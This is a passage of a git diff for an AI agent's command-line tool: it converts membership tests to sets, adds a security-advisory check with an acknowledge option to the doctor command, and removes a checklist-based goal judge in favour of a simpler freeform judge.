+3508,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A if not aux_comp.get("model"): aux_comp["model"] = str(s_model).strip() migrated_keys.append(f"model={s_model}") - if s_provider and str(s_provider).strip() not in ("", "auto"): + if s_provider and str(s_provider).strip() not in {"", "auto"}: aux = config.setdefault("auxiliary", {}) aux_comp = aux.setdefault("compression", {}) if not aux_comp.get("provider") or aux_comp.get("provider") == "auto": @@ -3717,7 +3739,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A except (EOFError, KeyboardInterrupt): answer = "n" - if answer in ("y", "yes"): + if answer in {"y", "yes"}: print() for name, info in new_and_unset: if info.get("url"): @@ -3778,7 +3800,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A except (EOFError, KeyboardInterrupt): answer = "n" - if answer in ("y", "yes"): + if answer in {"y", "yes"}: print() config = load_config() try: @@ -4860,9 +4882,9 @@ def set_config_value(key: str, value: str): # inline navigation here silently overwrote lists with dicts. # Convert value to appropriate type - if value.lower() in ('true', 'yes', 'on'): + if value.lower() in {'true', 'yes', 'on'}: value = True - elif value.lower() in ('false', 'no', 'off'): + elif value.lower() in {'false', 'no', 'off'}: value = False elif value.isdigit(): value = int(value) @@ -5067,7 +5089,7 @@ def _inject_profile_env_vars() -> None: try: from providers import list_providers for _pp in list_providers(): - if _pp.auth_type not in ("api_key",): + if _pp.auth_type not in {"api_key",}: continue for _var in _pp.env_vars: if _var in OPTIONAL_ENV_VARS: diff --git a/hermes_cli/copilot_auth.py b/hermes_cli/copilot_auth.py index 7475f80a2b1d..e6f63a1557c9 100644 --- a/hermes_cli/copilot_auth.py +++ b/hermes_cli/copilot_auth.py @@ -128,7 +128,7 @@ def _try_gh_cli_token() -> Optional[str]: # Build a clean env so gh doesn't short-circuit on GITHUB_TOKEN / GH_TOKEN clean_env = {k: v for k, v in os.environ.items() - if k not in ("GITHUB_TOKEN", "GH_TOKEN")} + if k not in {"GITHUB_TOKEN", "GH_TOKEN"}} for gh_path in _gh_cli_candidates(): cmd = [gh_path, "auth", "token"] diff --git a/hermes_cli/curator.py b/hermes_cli/curator.py index 38675b93ab89..190a052b48e8 100644 --- a/hermes_cli/curator.py +++ b/hermes_cli/curator.py @@ -347,7 +347,7 @@ def _cmd_prune(args) -> int: except (EOFError, KeyboardInterrupt): print("\ncurator: aborted") return 1 - if reply not in ("y", "yes"): + if reply not in {"y", "yes"}: print("curator: aborted") return 1 @@ -449,7 +449,7 @@ def _cmd_rollback(args) -> int: except (EOFError, KeyboardInterrupt): print("\ncancelled") return 1 - if ans not in ("y", "yes"): + if ans not in {"y", "yes"}: print("cancelled") return 1 diff --git a/hermes_cli/curses_ui.py b/hermes_cli/curses_ui.py index 01d759d3872b..57607cc31dd6 100644 --- a/hermes_cli/curses_ui.py +++ b/hermes_cli/curses_ui.py @@ -139,16 +139,16 @@ def _draw(stdscr): stdscr.refresh() key = stdscr.getch() - if key in (curses.KEY_UP, ord("k")): + if key in {curses.KEY_UP, ord("k")}: cursor = (cursor - 1) % len(items) - elif key in (curses.KEY_DOWN, ord("j")): + elif key in {curses.KEY_DOWN, ord("j")}: cursor = (cursor + 1) % len(items) elif key == ord(" "): chosen.symmetric_difference_update({cursor}) - elif key in (curses.KEY_ENTER, 10, 13): + elif key in {curses.KEY_ENTER, 10, 13}: result_holder[0] = set(chosen) return - elif key in (27, ord("q")): + elif key in {27, ord("q")}: result_holder[0] = cancel_returns return @@ -265,14 +265,14 @@ def _draw(stdscr): stdscr.refresh() key = stdscr.getch() - if key in (curses.KEY_UP, ord("k")): + if key in {curses.KEY_UP, ord("k")}: cursor = (cursor - 1) % len(items) - elif key in (curses.KEY_DOWN, ord("j")): + elif key in {curses.KEY_DOWN, ord("j")}: cursor = (cursor + 1) % len(items) - elif key in (ord(" "), curses.KEY_ENTER, 10, 13): + elif key in {ord(" "), curses.KEY_ENTER, 10, 13}: result_holder[0] = cursor return - elif key in (27, ord("q")): + elif key in {27, ord("q")}: result_holder[0] = cancel_returns return @@ -388,14 +388,14 @@ def _draw(stdscr): stdscr.refresh() key = stdscr.getch() - if key in (curses.KEY_UP, ord("k")): + if key in {curses.KEY_UP, ord("k")}: cursor = (cursor - 1) % len(all_items) - elif key in (curses.KEY_DOWN, ord("j")): + elif key in {curses.KEY_DOWN, ord("j")}: cursor = (cursor + 1) % len(all_items) - elif key in (curses.KEY_ENTER, 10, 13): + elif key in {curses.KEY_ENTER, 10, 13}: result_holder[0] = cursor return - elif key in (27, ord("q")): + elif key in {27, ord("q")}: result_holder[0] = None return diff --git a/hermes_cli/dingtalk_auth.py b/hermes_cli/dingtalk_auth.py index 798ce46fcb75..50d56e845ea8 100644 --- a/hermes_cli/dingtalk_auth.py +++ b/hermes_cli/dingtalk_auth.py @@ -93,7 +93,7 @@ def poll_registration(device_code: str) -> dict: """ data = _api_post("/app/registration/poll", {"device_code": device_code}) status_raw = str(data.get("status", "")).strip().upper() - if status_raw not in ("WAITING", "SUCCESS", "FAIL", "EXPIRED"): + if status_raw not in {"WAITING", "SUCCESS", "FAIL", "EXPIRED"}: status_raw = "UNKNOWN" return { "status": status_raw, diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index aaa490a3372f..529433902d5e 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -296,19 +296,101 @@ def _normalize_provider(_name: str) -> str: def run_doctor(args): """Run diagnostic checks.""" should_fix = getattr(args, 'fix', False) + ack_target = getattr(args, 'ack', None) # Doctor runs from the interactive CLI, so CLI-gated tool availability # checks (like cronjob management) should see the same context as `hermes`. os.environ.setdefault("HERMES_INTERACTIVE", "1") - + + # Handle `hermes doctor --ack ` as a fast path. Persist the ack and + # return without running the rest of the diagnostics — the user has + # already seen the advisory and just wants to silence it. + if ack_target: + from hermes_cli.security_advisories import ( + ADVISORIES, + ack_advisory, + ) + valid_ids = {a.id for a in ADVISORIES} + if ack_target not in valid_ids: + print(color( + f"Unknown advisory ID: {ack_target!r}. Known IDs: " + f"{', '.join(sorted(valid_ids)) or '(none)'}", + Colors.RED, + )) + sys.exit(2) + if ack_advisory(ack_target): + print(color( + f" ✓ Acknowledged advisory {ack_target}. " + f"It will no longer trigger startup banners.", + Colors.GREEN, + )) + else: + print(color( + f" ✗ Failed to persist ack for {ack_target}. " + f"Check ~/.hermes/config.yaml is writable.", + Colors.RED, + )) + sys.exit(1) + return + issues = [] manual_issues = [] # issues that can't be auto-fixed fixed_count = 0 - + print() print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN)) print(color("│ 🩺 Hermes Doctor │", Colors.CYAN)) print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN)) + + # ========================================================================= + # Check: Security advisories (RUNS FIRST — these are the most urgent) + # ========================================================================= + print() + print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD)) + try: + from hermes_cli.security_advisories import ( + detect_compromised, + filter_unacked, + full_remediation_text, + get_acked_ids, + ) + all_hits = detect_compromised() + fresh_hits = filter_unacked(all_hits) + if fresh_hits: + for hit in fresh_hits: + check_fail( + f"{hit.advisory.title}", + f"({hit.package}=={hit.installed_version})", + ) + # Print the full remediation block, indented under the + # check_fail header so it reads as a single section. + for line in full_remediation_text(hit): + if line: + print(f" {color(line, Colors.YELLOW)}") + else: + print() + # Funnel into the action list so the summary block surfaces it + # for users who scroll past the section. + manual_issues.append( + f"Resolve security advisory {hit.advisory.id}: " + f"uninstall {hit.package}=={hit.installed_version} and " + f"rotate credentials, then run " + f"`hermes doctor --ack {hit.advisory.id}`." + ) + # Acked-but-still-installed: show as informational so the user + # knows the package is still on disk after the ack. + acked_ids = get_acked_ids() + for h in all_hits: + if h.advisory.id in acked_ids: + check_warn( + f"{h.package}=={h.installed_version} still installed " + f"(advisory {h.advisory.id} acknowledged)", + ) + else: + check_ok("No active security advisories") + except Exception as e: + # Never let a bug in the advisory check block the rest of doctor. + check_warn(f"Security advisory check failed: {e}") # ========================================================================= # Check: Python version @@ -473,7 +555,7 @@ def run_doctor(args): if ( provider and _resolve_auth_provider is not None - and provider not in ("auto", "custom") + and provider not in {"auto", "custom"} ): try: runtime_provider = _resolve_auth_provider(provider) @@ -485,7 +567,7 @@ def run_doctor(args): if ( provider and _resolve_provider_full is not None - and provider not in ("auto", "custom") + and provider not in {"auto", "custom"} ): provider_def = _resolve_provider_full(provider, user_providers, custom_providers) catalog_provider = provider_def.id if provider_def is not None else None @@ -542,7 +624,7 @@ def run_doctor(args): # own env-var checks elsewhere in doctor, and get_auth_status() # returns a bare {logged_in: False} for anything it doesn't # explicitly dispatch, which would produce false positives. - if runtime_provider and runtime_provider not in ("auto", "custom", "openrouter"): + if runtime_provider and runtime_provider not in {"auto", "custom", "openrouter"}: try: from hermes_cli.auth import PROVIDER_REGISTRY, get_auth_status pconfig = PROVIDER_REGISTRY.get(runtime_provider) @@ -729,13 +811,12 @@ def run_doctor(args): hermes_home = HERMES_HOME if hermes_home.exists(): check_ok(f"{_DHH} directory exists") + elif should_fix: + hermes_home.mkdir(parents=True, exist_ok=True) + check_ok(f"Created {_DHH} directory") + fixed_count += 1 else: - if should_fix: - hermes_home.mkdir(parents=True, exist_ok=True) - check_ok(f"Created {_DHH} directory") - fixed_count += 1 - else: - check_warn(f"{_DHH} not found", "(will be created on first use)") + check_warn(f"{_DHH} not found", "(will be created on first use)") # Check expected subdirectories expected_subdirs = ["cron", "sessions", "logs", "skills", "memories"] @@ -743,13 +824,12 @@ def run_doctor(args): subdir_path = hermes_home / subdir_name if subdir_path.exists(): check_ok(f"{_DHH}/{subdir_name}/ exists") + elif should_fix: + subdir_path.mkdir(parents=True, exist_ok=True) + check_ok(f"Created {_DHH}/{subdir_name}/") + fixed_count += 1 else: - if should_fix: - subdir_path.mkdir(parents=True, exist_ok=True) - check_ok(f"Created {_DHH}/{subdir_name}/") - fixed_count += 1 - else: - check_warn(f"{_DHH}/{subdir_name}/ not found", "(will be created on first use)") + check_warn(f"{_DHH}/{subdir_name}/ not found", "(will be created on first use)") # Check for SOUL.md persona file soul_path = hermes_home / "SOUL.md" @@ -955,14 +1035,12 @@ def run_doctor(args): else: check_fail("docker not found", "(required for TERMINAL_ENV=docker)") issues.append("Install Docker or change TERMINAL_ENV") + elif _safe_which("docker"): + check_ok("docker", "(optional)") + elif _is_termux(): + check_info("Docker backend is not available inside Termux (expected on Android)") else: - if _safe_which("docker"): - check_ok("docker", "(optional)") - else: - if _is_termux(): - check_info("Docker backend is not available inside Termux (expected on Android)") - else: - check_warn("docker not found", "(optional)") + check_warn("docker not found", "(optional)") # SSH (if using ssh backend) if terminal_env == "ssh": @@ -1014,7 +1092,7 @@ def run_doctor(args): issues.append(f"Set TERMINAL_VERCEL_RUNTIME to one of: {supported}") disk = os.getenv("TERMINAL_CONTAINER_DISK", "51200").strip() - if disk in ("", "0", "51200"): + if disk in {"", "0", "51200"}: check_ok("Vercel disk setting", "(uses platform default)") else: check_fail("Vercel custom disk unsupported", "(reset terminal.container_disk to 51200)") @@ -1040,7 +1118,7 @@ def run_doctor(args): for line in auth_status.detail_lines: check_info(f"Vercel auth {line}") - persistent = os.getenv("TERMINAL_CONTAINER_PERSISTENT", "true").lower() in ("1", "true", "yes", "on") + persistent = os.getenv("TERMINAL_CONTAINER_PERSISTENT", "true").lower() in {"1", "true", "yes", "on"} if persistent: check_info("Vercel persistence: snapshot filesystem only; live processes do not survive sandbox recreation") else: @@ -1058,15 +1136,14 @@ def run_doctor(args): elif shutil.which("agent-browser"): check_ok("agent-browser", "(browser automation)") agent_browser_ok = True + elif _is_termux(): + check_info("agent-browser is not installed (expected in the tested Termux path)") + check_info("Install it manually later with: npm install -g agent-browser && agent-browser install") + check_info("Termux browser setup:") + for step in _termux_browser_setup_steps(node_installed=True): + check_info(step) else: - if _is_termux(): - check_info("agent-browser is not installed (expected in the tested Termux path)") - check_info("Install it manually later with: npm install -g agent-browser && agent-browser install") - check_info("Termux browser setup:") - for step in _termux_browser_setup_steps(node_installed=True): - check_info(step) - else: - check_warn("agent-browser not installed", "(run: npm install)") + check_warn("agent-browser not installed", "(run: npm install)") # Chromium presence — the browser tools silently fail to register when # agent-browser is found but no Playwright-managed Chromium is on disk @@ -1117,15 +1194,14 @@ def run_doctor(args): f"Install with: cd {PROJECT_ROOT} && " "npx playwright install --with-deps chromium" ) + elif _is_termux(): + check_info("Node.js not found (browser tools are optional in the tested Termux path)") + check_info("Install Node.js on Termux with: pkg install nodejs") + check_info("Termux browser setup:") + for step in _termux_browser_setup_steps(node_installed=False): + check_info(step) else: - if _is_termux(): - check_info("Node.js not found (browser tools are optional in the tested Termux path)") - check_info("Install Node.js on Termux with: pkg install nodejs") - check_info("Termux browser setup:") - for step in _termux_browser_setup_steps(node_installed=False): - check_info(step) - else: - check_warn("Node.js not found", "(optional, needed for browser tools)") + check_warn("Node.js not found", "(optional, needed for browser tools)") # npm audit for all Node.js packages _npm_bin = _safe_which("npm") diff --git a/hermes_cli/fallback_cmd.py b/hermes_cli/fallback_cmd.py index 02c0a01c39d4..9f2e6b97d46a 100644 --- a/hermes_cli/fallback_cmd.py +++ b/hermes_cli/fallback_cmd.py @@ -307,7 +307,7 @@ def cmd_fallback_clear(args) -> None: # noqa: ARG001 print() print(" Cancelled.") return - if resp not in ("y", "yes"): + if resp not in {"y", "yes"}: print(" Cancelled — no change.") return @@ -347,11 +347,11 @@ def _numbered_pick(question: str, choices: List[str]) -> Optional[int]: def cmd_fallback(args) -> None: """Top-level dispatcher for ``hermes fallback [subcommand]``.""" sub = getattr(args, "fallback_command", None) - if sub in (None, "", "list", "ls"): + if sub in {None, "", "list", "ls"}: cmd_fallback_list(args) elif sub == "add": cmd_fallback_add(args) - elif sub in ("remove", "rm"): + elif sub in {"remove", "rm"}: cmd_fallback_remove(args) elif sub == "clear": cmd_fallback_clear(args) diff --git a/hermes_cli/gateway.py b/hermes_cli/gateway.py index 46907592d173..c3e1344556ed 100644 --- a/hermes_cli/gateway.py +++ b/hermes_cli/gateway.py @@ -1194,7 +1194,7 @@ def _systemd_operational(system: bool = False) -> bool: ) # "running", "degraded", "starting" all mean systemd is PID 1 status = result.stdout.strip().lower() - return status in ("running", "degraded", "starting", "initializing") + return status in {"running", "degraded", "starting", "initializing"} except (RuntimeError, subprocess.TimeoutExpired, OSError): return False @@ -2915,7 +2915,7 @@ def launchd_start(): try: subprocess.run(["launchctl", "kickstart", f"{_launchd_domain()}/{label}"], check=True, timeout=30) except subprocess.CalledProcessError as e: - if e.returncode not in (3, 113): + if e.returncode not in {3, 113}: raise print("↻ launchd job was unloaded; reloading service definition") subprocess.run(["launchctl", "bootstrap", _launchd_domain(), str(plist_path)], check=True, timeout=30) @@ -2939,7 +2939,7 @@ def launchd_stop(): try: subprocess.run(["launchctl", "bootout", target], check=True, timeout=90) except subprocess.CalledProcessError as e: - if e.returncode in (3, 113): + if e.returncode in {3, 113}: pass # Already unloaded — nothing to stop. else: raise @@ -3011,7 +3011,7 @@ def launchd_restart(): subprocess.run(["launchctl", "kickstart", "-k", target], check=True, timeout=90) print("✓ Service restarted") except subprocess.CalledProcessError as e: - if e.returncode not in (3, 113): + if e.returncode not in {3, 113}: raise # Job not loaded — bootstrap and start fresh print("↻ launchd job was unloaded; reloading") @@ -3749,7 +3749,7 @@ def _platform_status(platform: dict) -> str: password = get_env_value("MATRIX_PASSWORD") if (val or password) and homeserver: e2ee = get_env_value("MATRIX_ENCRYPTION") - suffix = " + E2EE" if e2ee and e2ee.lower() in ("true", "1", "yes") else "" + suffix = " + E2EE" if e2ee and e2ee.lower() in {"true", "1", "yes"} else "" return f"configured{suffix}" if val or password or homeserver: return "partially configured" @@ -4947,15 +4947,14 @@ def _is_progress(status: str) -> bool: print_info(" Run in foreground: hermes gateway run") print_info(" For persistence: tmux new -s hermes 'hermes gateway run'") print_info(" To enable systemd: add systemd=true to /etc/wsl.conf, then 'wsl --shutdown'") + elif is_termux(): + from hermes_constants import display_hermes_home as _dhh + print_info(" Termux does not use systemd/launchd services.") + print_info(" Run in foreground: hermes gateway run") + print_info(f" Or start it manually in the background (best effort): nohup hermes gateway run >{_dhh()}/logs/gateway.log 2>&1 &") else: - if is_termux(): - from hermes_constants import display_hermes_home as _dhh - print_info(" Termux does not use systemd/launchd services.") - print_info(" Run in foreground: hermes gateway run") - print_info(f" Or start it manually in the background (best effort): nohup hermes gateway run >{_dhh()}/logs/gateway.log 2>&1 &") - else: - print_info(" Service install not supported on this platform.") - print_info(" Run in foreground: hermes gateway run") + print_info(" Service install not supported on this platform.") + print_info(" Run in foreground: hermes gateway run") else: print() print_info("No platforms configured. Run 'hermes gateway setup' when ready.") diff --git a/hermes_cli/goals.py b/hermes_cli/goals.py index 3bd869296a8a..9e8742e08ae6 100644 --- a/hermes_cli/goals.py +++ b/hermes_cli/goals.py @@ -7,18 +7,6 @@ goal is done, turn budget is exhausted, the user pauses/clears it, or the user sends a new message (which takes priority and pauses the goal loop). -Checklist mode (added 2026-05): when a goal is set, a Phase-A "decompose" -call asks the judge to write an extremely detailed checklist of concrete -completion criteria for that goal. On every subsequent turn (Phase B) the -judge evaluates the agent's most recent output against EACH pending item -and may flip pending → completed | impossible, or append new items it -discovers along the way. The goal is done only when every checklist item -is in a terminal status. This is much harsher than the freeform -"is the goal done?" prompt and gives users a visible, verifiable progress -surface via /subgoal. A bounded read_file tool loop lets the judge inspect -the dumped conversation history when the snippet alone isn't enough to -rule. - State is persisted in SessionDB's ``state_meta`` table keyed by ``goal:`` so ``/resume`` picks it up. @@ -33,9 +21,6 @@ prompt and also pauses the goal loop for that turn (we still re-judge after, so if the user's message happens to complete the goal the judge will say ``done``). -- Stickiness: once an item is marked completed or impossible, only the user - (via /subgoal undo) can flip it back. Judge updates that try to regress - terminal items are silently ignored. - This module has zero hard dependency on ``cli.HermesCLI`` or the gateway runner — both wire the same ``GoalManager`` in. @@ -46,12 +31,10 @@ import json import logging -import os import re import time -from dataclasses import dataclass, field, asdict -from pathlib import Path -from typing import Any, Dict, List, Optional, Tuple +from dataclasses import dataclass, asdict +from typing import Any, Dict, Optional, Tuple logger = logging.getLogger(__name__) @@ -61,9 +44,8 @@ # ────────────────────────────────────────────────────────────────────── DEFAULT_MAX_TURNS = 20 -DEFAULT_JUDGE_TIMEOUT = 60.0 -# Cap how much of the last response we send to the judge inline. The judge -# can read the dumped conversation file via read_file if it needs more. +DEFAULT_JUDGE_TIMEOUT = 30.0 +# Cap how much of the last response + recent messages we send to the judge. _JUDGE_RESPONSE_SNIPPET_CHARS = 4000 # After this many consecutive judge *parse* failures (empty output / non-JSON), # the loop auto-pauses and points the user at the goal_judge config. API / @@ -73,35 +55,7 @@ # exhausted with every reply shaped like `judge returned empty response` or # `judge reply was not JSON`. DEFAULT_MAX_CONSECUTIVE_PARSE_FAILURES = 3 -# Bound the Phase-B judge tool loop: if the judge keeps calling read_file -# without ever emitting a verdict, cap it so we don't burn the model's budget. -DEFAULT_MAX_JUDGE_TOOL_CALLS = 5 -# Cap a single read_file response so a judge that tries to read 100k lines -# doesn't blow up its own context. Judge can paginate if needed. -_JUDGE_READ_FILE_MAX_LINES = 400 -_JUDGE_READ_FILE_MAX_CHARS = 32_000 - - -# Status constants ──────────────────────────────────────────────────── -ITEM_PENDING = "pending" -ITEM_COMPLETED = "completed" -ITEM_IMPOSSIBLE = "impossible" -TERMINAL_ITEM_STATUSES = frozenset({ITEM_COMPLETED, ITEM_IMPOSSIBLE}) -VALID_ITEM_STATUSES = frozenset({ITEM_PENDING, ITEM_COMPLETED, ITEM_IMPOSSIBLE}) - -ITEM_MARKERS = { - ITEM_COMPLETED: "[x]", - ITEM_IMPOSSIBLE: "[!]", - ITEM_PENDING: "[ ]", -} -ADDED_BY_JUDGE = "judge" -ADDED_BY_USER = "user" - - -# ────────────────────────────────────────────────────────────────────── -# Continuation prompt -# ────────────────────────────────────────────────────────────────────── CONTINUATION_PROMPT_TEMPLATE = ( "[Continuing toward your standing goal]\n" @@ -111,57 +65,8 @@ "If you are blocked and need input from the user, say so clearly and stop." ) -CONTINUATION_PROMPT_WITH_CHECKLIST_TEMPLATE = ( - "[Continuing toward your standing goal]\n" - "Goal: {goal}\n\n" - "Checklist progress ({done}/{total} done):\n" - "{checklist}\n\n" - "Work on the unchecked items above. Do not declare items done yourself " - "— a judge marks them based on evidence in your output. If an item is " - "genuinely impossible in this environment, explain why so the judge can " - "mark it impossible. If you are blocked on a remaining item and need " - "user input, say so clearly and stop." -) - - -# ────────────────────────────────────────────────────────────────────── -# Phase-A: decompose prompts -# ────────────────────────────────────────────────────────────────────── - -DECOMPOSE_SYSTEM_PROMPT = ( - "You are a strict judge for an autonomous agent. Your first job, before " - "judging anything, is to break the user's stated goal into an EXTREMELY " - "DETAILED checklist of concrete, verifiable completion criteria. Each " - "item must be specific enough that a third party reading the agent's " - "output could decide unambiguously whether that item was achieved.\n\n" - "Be exhaustive. Bias toward MORE items, not fewer. Include sub-items, " - "edge cases, quality bars, deployment steps, verification checks, and " - "anything the user would reasonably expect from a goal of this type. " - "If the user said 'build me a website' you should be enumerating " - "homepage exists, navigation links work, content is non-placeholder, " - "mobile responsive, accessibility tags present, deployed somewhere " - "publicly accessible, domain/URL is functional, etc. Better to " - "over-specify and let a few items get marked impossible than to " - "under-specify and let the agent declare victory early.\n\n" - "Submit your checklist by calling the ``submit_checklist`` tool. Do " - "not reply with prose or JSON in your message body — call the tool. " - "The system will not see anything you write outside the tool call." -) - -DECOMPOSE_USER_PROMPT_TEMPLATE = ( - "Goal:\n{goal}\n\n" - "Produce the harshest, most detailed checklist of completion criteria " - "you can. Aim for at least 5 items; more is better when warranted. " - "Each item should be a single verifiable statement of fact about the " - "finished work." -) - - -# ────────────────────────────────────────────────────────────────────── -# Phase-B: evaluate prompts -# ────────────────────────────────────────────────────────────────────── -EVALUATE_SYSTEM_PROMPT_FREEFORM = ( +JUDGE_SYSTEM_PROMPT = ( "You are a strict judge evaluating whether an autonomous agent has " "achieved a user's stated goal. You receive the goal text and the " "agent's most recent response. Your only job is to decide whether " @@ -173,57 +78,11 @@ "user input (treat this as DONE with reason describing the block).\n\n" "Otherwise the goal is NOT done — CONTINUE.\n\n" "Reply ONLY with a single JSON object on one line:\n" - '{"done": , "reason": ""}' + '{\"done\": , \"reason\": \"\"}' ) -EVALUATE_SYSTEM_PROMPT_CHECKLIST = ( - "You are a strict judge evaluating an autonomous agent's progress on " - "a user's goal that has a detailed checklist of completion criteria. " - "For EACH currently-pending checklist item, decide whether the " - "available evidence shows the item is satisfied.\n\n" - "Be strict but not absurd. Default to leaving items pending UNLESS " - "evidence is reasonably clear. Reasonable evidence includes:\n" - "- The agent's most recent response describing or showing the work\n" - "- Tool call results visible in the conversation history (file writes, " - "command output, web requests, etc.)\n" - "- A clear statement by the agent that the work was done, when " - "supported by tool output earlier in the conversation\n\n" - "Do NOT require the agent to re-prove items it has already established " - "in earlier turns. If a tool call earlier in the conversation already " - "wrote a file, you do not need fresh `ls` output every turn — once " - "established, it's done.\n\n" - "Flip pending → completed when the response or recent tool calls show " - "the item is satisfied. Flip pending → impossible only when the work " - "demonstrates the item cannot be achieved in this environment (NOT " - "merely that the agent didn't try). Vague intentions ('I will do X " - "next') do NOT count as completion.\n\n" - "STICKINESS: items already marked completed or impossible are frozen. " - "Do not include them in your updates. Only the user can revert them.\n\n" - "TOOLS:\n" - "- ``read_file(path, offset, limit)``: inspect the dumped conversation " - "history file whose path is given in the user message. Use this when " - "the snippet alone isn't enough to rule. Each call costs tokens, so " - "only read when needed.\n" - "- ``update_checklist(updates, new_items, reason)``: issue your " - "verdict. Call this exactly once per turn when you are ready to rule. " - "Calling it ENDS the evaluation.\n\n" - "You MUST call one of these tools every turn. Do not reply with " - "prose or JSON in your message body — the system will not see " - "anything written outside tool calls. When you cite evidence, " - "reference the agent's actual output specifically." -) - -EVALUATE_USER_PROMPT_CHECKLIST_TEMPLATE = ( - "Goal:\n{goal}\n\n" - "Current checklist (each item is numbered, 1-based — use these " - "exact 1-based numbers as the ``index`` field in your updates):\n{checklist_block}\n\n" - "Agent's most recent response (snippet):\n{response}\n\n" - "Conversation history file (call read_file on this path if you need " - "more context — pagination supported via offset/limit):\n{history_path}\n\n" - "Evaluate each pending item. Cite specific evidence." -) -EVALUATE_USER_PROMPT_FREEFORM_TEMPLATE = ( +JUDGE_USER_PROMPT_TEMPLATE = ( "Goal:\n{goal}\n\n" "Agent's most recent response:\n{response}\n\n" "Is the goal satisfied?" @@ -231,55 +90,16 @@ # ────────────────────────────────────────────────────────────────────── -# Dataclasses +# Dataclass # ────────────────────────────────────────────────────────────────────── -@dataclass -class ChecklistItem: - """One concrete completion criterion attached to a goal.""" - - text: str - status: str = ITEM_PENDING # pending | completed | impossible - added_by: str = ADDED_BY_JUDGE # judge | user - added_at: float = 0.0 - completed_at: Optional[float] = None - evidence: Optional[str] = None # judge's rationale on flip - - def to_dict(self) -> Dict[str, Any]: - return asdict(self) - - @classmethod - def from_dict(cls, data: Dict[str, Any]) -> "ChecklistItem": - text = str(data.get("text", "")).strip() - if not text: - text = "(empty item)" - status = str(data.get("status", ITEM_PENDING)).strip().lower() - if status not in VALID_ITEM_STATUSES: - status = ITEM_PENDING - added_by = str(data.get("added_by", ADDED_BY_JUDGE)).strip().lower() - if added_by not in (ADDED_BY_JUDGE, ADDED_BY_USER): - added_by = ADDED_BY_JUDGE - return cls( - text=text, - status=status, - added_by=added_by, - added_at=float(data.get("added_at", 0.0) or 0.0), - completed_at=( - float(data["completed_at"]) - if data.get("completed_at") is not None - else None - ), - evidence=data.get("evidence"), - ) - - @dataclass class GoalState: """Serializable goal state stored per session.""" goal: str - status: str = "active" # active | paused | done | cleared + status: str = "active" # active | paused | done | cleared turns_used: int = 0 max_turns: int = DEFAULT_MAX_TURNS created_at: float = 0.0 @@ -288,28 +108,13 @@ class GoalState: last_reason: Optional[str] = None paused_reason: Optional[str] = None # why we auto-paused (budget, etc.) consecutive_parse_failures: int = 0 # judge-output parse failures in a row - # Checklist mode (added 2026-05). Both fields default safely so old - # state_meta rows load unchanged. - checklist: List[ChecklistItem] = field(default_factory=list) - decomposed: bool = False # has Phase-A run for this goal? def to_json(self) -> str: - data = asdict(self) - # asdict already serializes ChecklistItem via dataclass recursion. - return json.dumps(data, ensure_ascii=False) + return json.dumps(asdict(self), ensure_ascii=False) @classmethod def from_json(cls, raw: str) -> "GoalState": data = json.loads(raw) - raw_checklist = data.get("checklist") or [] - checklist: List[ChecklistItem] = [] - if isinstance(raw_checklist, list): - for item in raw_checklist: - if isinstance(item, dict): - try: - checklist.append(ChecklistItem.from_dict(item)) - except Exception: - continue return cls( goal=data.get("goal", ""), status=data.get("status", "active"), @@ -321,39 +126,8 @@ def from_json(cls, raw: str) -> "GoalState": last_reason=data.get("last_reason"), paused_reason=data.get("paused_reason"), consecutive_parse_failures=int(data.get("consecutive_parse_failures", 0) or 0), - checklist=checklist, - decomposed=bool(data.get("decomposed", False)), ) - # --- checklist helpers ------------------------------------------------ - - def checklist_counts(self) -> Tuple[int, int, int, int]: - """Return (total, completed, impossible, pending).""" - total = len(self.checklist) - completed = sum(1 for it in self.checklist if it.status == ITEM_COMPLETED) - impossible = sum(1 for it in self.checklist if it.status == ITEM_IMPOSSIBLE) - pending = total - completed - impossible - return total, completed, impossible, pending - - def all_terminal(self) -> bool: - """True iff at least one item exists and every item is in a terminal status.""" - if not self.checklist: - return False - return all(it.status in TERMINAL_ITEM_STATUSES for it in self.checklist) - - def render_checklist(self, *, numbered: bool = False) -> str: - if not self.checklist: - return "(empty)" - lines = [] - for i, item in enumerate(self.checklist, start=1): - marker = ITEM_MARKERS.get(item.status, "[?]") - prefix = f"{i}. {marker}" if numbered else f" {marker}" - line = f"{prefix} {item.text}" - if item.status == ITEM_IMPOSSIBLE and item.evidence: - line += f" (impossible: {item.evidence})" - lines.append(line) - return "\n".join(lines) - # ────────────────────────────────────────────────────────────────────── # Persistence (SessionDB state_meta) @@ -441,63 +215,7 @@ def clear_goal(session_id: str) -> None: # ────────────────────────────────────────────────────────────────────── -# Conversation-history dump (read by the judge tool loop) -# ────────────────────────────────────────────────────────────────────── - - -def _goals_dump_dir() -> Optional[Path]: - """Return ``/goals`` (created on first use), or None on error.""" - try: - from hermes_constants import get_hermes_home - - home = Path(get_hermes_home()) - except Exception as exc: - logger.debug("goals dump dir: get_hermes_home failed: %s", exc) - return None - try: - path = home / "goals" - path.mkdir(parents=True, exist_ok=True) - return path - except Exception as exc: - logger.debug("goals dump dir: mkdir failed: %s", exc) - return None - - -def _safe_session_filename(session_id: str) -> str: - """Make a session_id safe for use as a filename component.""" - cleaned = re.sub(r"[^A-Za-z0-9._-]+", "_", session_id or "unknown") - # Bound length to keep filesystem happy. - return cleaned[:128] or "unknown" - - -def conversation_dump_path(session_id: str) -> Optional[Path]: - """Where the dumped messages JSON for ``session_id`` lives.""" - base = _goals_dump_dir() - if base is None: - return None - return base / f"{_safe_session_filename(session_id)}.json" - - -def dump_conversation(session_id: str, messages: List[Dict[str, Any]]) -> Optional[Path]: - """Write ``messages`` to the goals/ dump file. Returns the path on success.""" - if not session_id or not messages: - return None - path = conversation_dump_path(session_id) - if path is None: - return None - try: - # Best-effort: messages may contain non-JSON-serializable objects from - # provider-specific adapter shims. Fall through with default=str. - with open(path, "w", encoding="utf-8") as fh: - json.dump(messages, fh, ensure_ascii=False, indent=2, default=str) - return path - except Exception as exc: - logger.debug("dump_conversation: write failed: %s", exc) - return None - - -# ────────────────────────────────────────────────────────────────────── -# Judge: parsing helpers +# Judge # ────────────────────────────────────────────────────────────────────── @@ -509,51 +227,50 @@ def 